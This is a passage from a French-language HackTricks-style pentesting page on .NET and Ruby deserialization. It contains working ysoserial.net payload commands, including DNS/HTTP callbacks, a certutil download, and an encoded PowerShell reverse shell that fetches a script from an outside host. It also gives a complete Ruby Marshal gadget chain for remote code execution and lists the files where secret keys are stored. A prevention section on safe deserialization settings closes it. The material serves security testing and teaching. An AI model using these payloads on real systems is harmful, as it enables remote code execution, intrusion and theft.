  • --raf -f Json.Net -c "anything" Cela indiquera tous les gadgets qui peuvent être utilisés avec un formateur fourni (Json.Net dans ce cas)
  • --sf xml vous pouvez indiquer un gadget (-g) et ysoserial.net recherchera des formateurs contenant "xml" (insensible à la casse)

Exemples de ysoserial.net pour créer des exploits :

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net dispose également d'un paramètre très intéressant qui permet de mieux comprendre le fonctionnement de chaque exploit : --test.
Si vous indiquez ce paramètre, ysoserial.net essaiera l'exploit localement, vous permettant ainsi de tester si votre charge utile fonctionne correctement.
Ce paramètre est utile car si vous examinez le code, vous trouverez des morceaux de code comme celui-ci (à partir de ObjectDataProviderGenerator.cs) :

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Cela signifie que pour tester l'exploit, le code appellera serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Dans le code précédent, il est vulnérable à l'exploit créé. Donc, si vous trouvez quelque chose de similaire dans une application .Net, cela signifie probablement que cette application est également vulnérable.
Par conséquent, le paramètre --test nous permet de comprendre quels morceaux de code sont vulnérables à l'exploit de désérialisation que ysoserial.net peut créer.

ViewState

Jetez un coup d'œil à ce POST sur comment essayer d'exploiter le paramètre __ViewState de .Net pour exécuter du code arbitraire. Si vous connaissez déjà les secrets utilisés par la machine victime, lisez ce post pour savoir comment exécuter du code.

Prévention

Ne permettez pas au flux de données de définir le type d'objet vers lequel le flux sera désérialisé. Vous pouvez prévenir cela en utilisant par exemple le DataContractSerializer ou le XmlSerializer si possible.

Lorsque JSON.Net est utilisé, assurez-vous que TypeNameHandling est uniquement défini sur None.

TypeNameHandling = TypeNameHandling.None

Si JavaScriptSerializer doit être utilisé, ne l'utilisez pas avec un JavaScriptTypeResolver.

Si vous devez désérialiser des flux de données qui définissent leur propre type, restreignez les types autorisés à être désérialisés. Il faut cependant être conscient que cela reste risqué car de nombreux types natifs .Net peuvent être potentiellement dangereux en eux-mêmes. Par exemple,

System.IO.FileInfo

Les objets FileInfo qui font référence à des fichiers réellement présents sur le serveur peuvent, lorsqu'ils sont désérialisés, modifier les propriétés de ces fichiers, par exemple en les rendant en lecture seule, créant ainsi une attaque potentielle de déni de service.

Même si vous avez limité les types qui peuvent être désérialisés, rappelez-vous que certains types ont des propriétés risquées. Par exemple, System.ComponentModel.DataAnnotations.ValidationException a une propriété Value de type Object. Si ce type est autorisé pour la désérialisation, un attaquant peut définir la propriété Value sur n'importe quel type d'objet de son choix.

Il faut empêcher les attaquants de contrôler le type qui sera instancié. Si cela est possible, même DataContractSerializer ou XmlSerializer peuvent être détournés, par exemple.

// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();

var serializer = new DataContractJsonSerializer(Type.GetType(typename));

var obj = serializer.ReadObject(ms);

L'exécution peut se produire dans certains types .Net lors de la désérialisation. La création d'un contrôle tel que celui illustré ci-dessous est inefficace.

var suspectObject = myBinaryFormatter.Deserialize(untrustedData);

//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
//generate warnings and dispose of suspectObject
}

Pour BinaryFormatter et JSON.Net, il est possible de créer une forme plus sûre de contrôle de liste blanche en utilisant un SerializationBinder personnalisé.

Essayez de rester à jour sur les gadgets de désérialisation .Net connus comme étant non sécurisés et faites particulièrement attention là où de tels types peuvent être créés par vos processus de désérialisation. Un désérialiseur ne peut instancier que des types qu'il connaît.

Essayez de garder tout code qui pourrait créer des gadgets potentiels séparé de tout code qui a une connectivité Internet. Par exemple, System.Windows.Data.ObjectDataProvider utilisé dans les applications WPF est un gadget connu qui permet une invocation de méthode arbitraire. Il serait risqué d'avoir une référence à cet assembly dans un projet de service REST qui désérialise des données non fiables.

Références

Ruby

Ruby dispose de deux méthodes pour implémenter la sérialisation dans la bibliothèque marshal : la première méthode est dump qui convertit un objet en flux d'octets (sérialisation). Et la deuxième méthode est load pour convertir le flux d'octets en objet à nouveau (désérialisation).
Ruby utilise HMAC pour signer l'objet sérialisé et enregistre la clé dans l'un des fichiers suivants :

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Chaîne de gadgets génériques de désérialisation Ruby 2.X vers RCE (plus d'informations dans https://www.elttam.com/blog/ruby-deserialization/) :

#!/usr/bin/env ruby

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Autre chaîne RCE pour exploiter Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥